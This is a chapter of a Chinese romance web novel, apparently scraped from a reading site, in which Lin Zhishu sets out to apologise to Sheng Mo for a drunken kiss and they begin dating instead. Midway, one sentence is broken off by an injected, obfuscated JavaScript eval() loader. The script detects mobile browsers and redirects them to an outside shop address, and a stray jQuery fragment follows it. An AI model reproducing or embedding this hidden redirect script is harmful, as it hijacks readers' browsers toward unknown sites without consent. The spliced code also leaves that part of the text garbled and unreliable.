林知树的脑门上仿佛闪现出各种各样的加载中图标。
持续骚扰加上强吻，这种行为在法律上可能被认定为猥/亵行为，而且在法律中，醉酒一般不免除责任。
林知树有点焦虑，有点无措。
她回复了一句“你等我一下，这个一下可能是几个小时，或许这样的话先不要等我了，让我先捋捋”，就放下手机站起来。
她在房间里走来走去，坐到沙发上，一会儿又坐到懒人沙发上，转而坐到工作椅上，她像一根钉子，扎在哪里都不舒服。
小学，林知树在路边等公交车的时候，发现鞋底粘了一张不知道哪里来的标签贴纸，她把那张贴纸撕下，等她坐上公交车，她看到那张标签贴纸被风一吹，飘起来了。
她的心也飘起来了。她害怕得不行。她害怕这张标签贴纸被风吹到哪个重要的地方，造成一场可怕的事故，这张贴纸或许会贴在车窗上，遮挡司机的视野，或许会……直到回家后，她还是在担心那张标签贴纸。
现在她已经不会那么焦虑了，但她的底层代码中仍然有那种灾难叙事的倾向，当她确定错的那一方是她时，她会放大一切做错事的后果。
林知树决定负荆请罪。
【林知树】：周末我想当面道歉。
*
周六。
快要春节了，路灯杆子上都悬了红色的广告，公园入口处挂了两串红灯笼。
公园里面比平时冷清了一些，来陆市务工的人员比例偏高，有些为了避开春运便提早走了。
林知树把手揣在羽绒服口袋里，呆呆地站在一棵银杏树边思考。
盛默走到她面前，在她说话之前，他从外套口袋里拿出一个三寸的小相册，递给她。
林知树接过，翻开。
这本实体相册的照片卡槽里放着相似的照片：两花瓶的混色玫瑰，每张照片上都记录了日期和时间。
第一张照片，花瓣饱满舒展，颜色鲜亮，第二天，花瓣边缘微微向内收拢，接着，白玫瑰最先显出枯萎的形态，花瓣尖端出现了淡褐色的细纹，红玫瑰的颜色变深了一点。
第五天，第七天，第九天。
她一张一张地翻过去，花瓣变薄，茎杆逐渐软化干瘪。最后一张照片，花瓶里的玫瑰已经全部枯萎了，花瓣皱缩成褐色的，叶片干燥。
距离她送出那束混色玫瑰已经过去了整整两周。
她心里有一种奇异的感觉，对于这份意料之外的礼物。
她身后那棵银杏树的黑色枝桠伸展着，在灰白色的天空里像毛细血管的纹路。
“谢谢。”她说。
就在林知树准备开口提起那件“不合法”的事时，盛默再次打断了她。
他今天似乎总是想抢先着她说点什么。
盛默注视着她，他的双眼漆黑，光线在眉骨下打出一层薄薄的阴影：“你之前喜欢我什么？”
在提出申请后林知树和盛默在咖啡馆见面，那次，她就是被这个问题难倒，就地准备放弃的。
现在盛默再次提出了这个问题。
林知树：“……”
同样的问题刁难她两遍，是不是有点不厚道了？
她心里的小人在摔桌子，摔完桌子发现今天她是来负荆请罪的，连忙再把桌子扶起来。
盛默：“这个问题太难的话，我换一个问题：为什么选择我？”
林知树稍微松了一口气，她终于能好好地组织她的理由了：“从人类的角度来说，我很欣赏你，我确信我不会被你伤害。”
盛默怔了一下。
“我们在一起吧。”他突然说。
“我还没有道歉。”林知树难以置信地看向盛默。
盛默：“那种事没有什么严重的后果。”
林知树诧异地盯着他，嘴巴里不知道在说什么：“你得让我道歉，不然我会无法无天的。”
盛默嘴角边有一个微小的弧度，他的语气却依然淡淡的：“别被警察抓到就行。”
林知树总觉得她还应该做点什么，比如精神损失赔偿之类的。
她还想解释什么。
这时她却听到盛默说：“既然你并不喜欢我。”
林知树飞快反驳：“没有没有！我已经答应了！”
为了表明她的态度，她冲上去，“砰”的抱住了盛默，像个炮/弹一样。
盛默的身体不自在地僵住了，他的手臂试探地抬起来去回抱住她的时候，她却已经松开了手，退开了。
盛默刚抬起来的手有些尴尬地放下了。
“你为什么不问我突然提出这个建议的原因？”他问。
又来了，动机怪。
盛默这个家伙不仅要问她的动机，还要问她为什么不好奇他的动机。
从这方面来说，盛默真该被发配去写学生的动机信，保准招生办百分之一千相信学生的诚意。
林知树回答道：“我相信我的判断，无论是出于什么原因，我认为你不会做伤害我的事。”
盛默别过眼神。
他看向了别处，低声道：“……别太相信自己的头脑了，我不是那么好的人。”
他没有看她，手却向她的方向伸出来。
她鬼迷心窍地握了上去。
他的手握住她的，很有力道。
林知树和盛默在又冷又荒凉的公园里安静地走了一段路，她突然回过味来。
她的目光看向她和他握在一起的手，像是大梦初醒一样。
刚才发生了什么事情？她不是来道歉的吗？她故意选了这个萧瑟的公园，不就是为了烘托她心里悲壮真诚的歉意的吗？
回顾她和盛默的关系：
追求——放弃追求——贼心不死——被提出做朋友——送玫瑰被告知随意——继续追求——发现还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342357|199405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做朋友好——强吻——在一起。
这么一套反反复复的流程下来，或许她和他两个人都被对方绕晕了。
得知这件事的庄时曼一副了然的模样：“我早就说了，当他把自己包装成受害者的时候，你就要小心了。”
虽然大编剧庄时曼看穿一切，可林知树却仍然不知道盛默为什么会提出这个建议。
林知树觉得现在的这个转变有点生硬。
盛默突然从“你喜欢我什么”“我们可以做朋友”“都随意”的态度扭转过来，主动提出交往，这个态度大变化让她不理解。
林知树在棕色皮面本子上写下：【总之，盛默很可疑，不过我不在意，我又不是像他那样的动机怪。】
不过她倒是没什么额外的负担：这是由两个人的自由意志做出的选择，没什么谁吃亏谁对不起谁。
相反她还挺开心的。
*
奇怪的林知树，奇怪的盛默。
奇怪的两个人不明不白地开始交往。
盛默疑惑为什么林知树不问他的动机。林知树疑惑为什么盛默非要她知道他的动机。
奇怪的两个人在周日去了滑雪场。
林知树之前有过学滑雪的经历，不过她分配到的那个教练性格很烂。她无法忍受，决定自己学，但滑雪毕竟不是炒菜，没办法拿出手机边滑雪边看教学视频，她的滑雪搭子庄时曼又是三天打鱼两天晒网的性格，于是这个计划就搁置了，她依然是小菜鸟水平。
盛默答应了，他是个好教练，不会发脾气，也不会突然推她一把。
在她即将摔倒的时候他的反应很快，经常提前预判，及时扶住她。
她和他不怎么说话，只有动作的交互。
她学了更多有难度的动作，越来越熟练。
有一次盛默在她前面像栋楼房一样矗着，她来不及刹车，直接撞上了他。
“林知树，已经五个小时了。”盛默似乎早有准备，不仅没有被她撞翻，还用手稳住了她，把手从她腰侧挪开的时候，他提醒她。
林知树意识到确实该累了。
从滑雪场出来，天色已经暗了。
两人在附近商业街的一个小饭店里坐下来吃晚饭，结束后，盛默开车送她回去。
运动量爆表后吃饱喝足的林知树有点晕碳了，在副驾驶上双手抱着安全带，眼皮越来越沉。
汽车离开停车场后便汇入马路的车流里。
车里安静温暖，路灯的光一会儿明亮一会儿昏暗，扫过她的脸。
等红灯的时候，盛默的目光投向她。
他低声问：“你根本就不喜欢我，为什么和我在一起？契机是什么？”
她睡着了，没有听到。
本来他也没打算让她听到。
一开始他就向她提出了这个问题，现在他得出了答案。他会找到这个答案背后的原因。